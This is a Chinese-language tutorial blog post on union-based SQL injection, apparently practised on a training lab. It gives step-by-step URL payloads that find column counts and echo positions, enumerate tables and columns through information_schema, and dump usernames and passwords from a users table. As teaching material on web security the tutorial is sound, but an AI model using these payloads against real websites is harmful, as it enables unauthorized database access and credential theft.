sql注入基础-----union联合查询

sql注入:通过构造语句在注入点查询得到想要的信息------------(注入点:人机交互实行注入的地方,即输入命令的位置)

注入分类:1.按照查询字段:字符型注入、数字型注入

                  2.按照注入方法:union联合注入、报错注入、布尔注入、时间注入

目录

一:union联合注入

①查找注入点

②判断是字符型注入还是数字型注入

③若为字符型注入,判断闭合方式

④判断查询列数:用group by或order by的命令判断列数

⑤查询回显位置

⑥查询库名

⑦查询库名

⑧查询列名

⑨查询用户名及密码


一:union联合注入

步骤:①查找注入点

           ②判断是字符型注入还是数字型注入

           ③若为字符型注入,找到闭合方式,若为数字型注入,直接进行④

           ④判断查询列数

           ⑤查询回显位置

           ⑥查询库名

           ⑦查询表名

           ⑧查询列名

           ⑨查询用户名及密码

①查找注入点

1.观察参数位置:网页的url或是登陆页面的输入框都有可能是注入点

2.测试特殊字符:在疑似注入点的参数位置后输入’或;等特殊字符看是否引发报错,若报错信息与sql有关,则可能是注入点

3.使用扫描工具检测:SQLMap

②判断是字符型注入还是数字型注入

1.使用and 1=1都正常显示页面,使用and 1=2只有字符型注入仍能正常显示页面,而数字型注入不能正常显示页面---------------(and表示and前后都要同时满足才能正常显示指令)

e.g.下图所示是字符型注入的页面

a89f48367ce94ab9846d4234bf12f109.png

3bf692bddb4449e8a97867178c85828a.png

e.g.下图所示是数字型注入的页面

a626afa598c54b9ba65931568f6d8176.png

f3a4c9f322f04fda8973b7fbe6c811d9.png

2.使用简单运算判断(e.g.当输入?id=2-1后所显示的页面若与输入?id=2的页面一致,则为字符型注入;若与id=1的页面一致,则为数字型注入 )---------------(一般不用+,因为+会被当做空格)

e.g.下图所示是字符型注入的页面 

cfb691c25a5f48a390947bf98d2ddb11.png

940bd18640984c6ebf2f7fbe9c573605.png

371206da67ee4f9389bf5a9f2c94ce30.png

e.g.下图所示是数字型注入的页面 

31f50726f70c4b0a8cdf83c65d72ac34.png

aeeb935a8b3a4d62a0d6435aa8670940.png

c76fcb25e9e8463a9e7d2def32c7bbec.png

③若为字符型注入,判断闭合方式

闭合方式主要包括以下几种:单引号闭合“ ' “、双引号闭合” " ”、单引号括号闭合“ ')”、双引号括号闭合“ ")“

可以通过报错信息判断闭合方式

e.g.输入id=1',报错为1'',则除了输入的1'以外的'即为当前的闭合方式

ef1afdc83bc64168b6ed7947e18c3de8.png

e.g.输入id=1",报错为1""),则除了输入的1"以外的")即为当前的闭合方式 

609d6f16cc8a44d3b769579cb3f33af4.png

闭合的作用:手动结束前一段语句,从而在后面可加入其他语句以进行想要的查询,之后进行注释则可忽略后面本来的指令 

注释符号包括:--+、#(%23)

④判断查询列数:用group by或order by的命令判断列数

依顺序输入数字,当出现报错时,则出现报错数字的前一个数字即为列数

e.g.?id=1' group by 3 --+

bb2c44c8430a49a783bc188171bb3e08.png

此时页面正常显示

e.g.?id=1' group by 4 --+ 

02528b2900c34d008ad036af0613a2c8.png

此时页面报错,说明一共有三列 

e.g.?id=1' union select 1,2,3 --+

 此时正常显示页面

⑤查询回显位置

为了回显出想要查询的信息,让前半部分查询不到即可查询到我们想要的后半部分,则将id=-1或任意查询不到的数字即可只回显出我们想要查询的内容

e.g.?id=-1' union select 1,2,3 --+

19cf51351f7a4b61ac68501a76a01def.png

直接查看1,2,3哪个数字回显在页面上,哪个数字的位置就是回显位

⑥查询库名

在任一回显位输出命令

e.g.?id=-1' union select 1,2,database() --+

95aad63afc6e4d0b91b1eeaebb6c025f.png

即可得到库名为security 

⑦查询库名

information-schema是MySQL自带的数据库,其中有两个表我们需要使用到:tables(表名集合表)、columns(列名集合表)。tables中存在一个列名为table_ name

我们用到的查询语句是:select 列名 from 表名 where 限定语句

e.g.?id=-1’ union select 1,2,table_name from information_schema.tables where table_schema=database() --+

information_schema.tables代表information数据库中的tables这个特定的表

where table_schema=database()表示在目标数据库里查询,使查询到的值更精确

9931bab87aac4221aca1b549ffd879de.png

此时发现只显示一个数据email,因为默认只显示第一个数据,所以当我们想要查询到所有信息的时候,要用到一个函数group_concat()

group_concat():这个函数可以把分组中的多行数据连接成一个字符串从而显示到一起

e.g.?id=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

7fce313758bf4294b554d5e9afe71183.png

这样就可以一行显示多个数据了 

⑧查询列名

e.g.?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+

and table_name='users'是为了更精确显示信息

74946003cf6742faa4a8869bf7314d56.png

 这时则显示出了列名

⑨查询用户名及密码

e.g.?id=-1' union select 1,2,group_concat(username,password) from users --+

47ce947d87b348189c4cd9e24ed26ed5.png

这时即查到了我们想要的信息 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值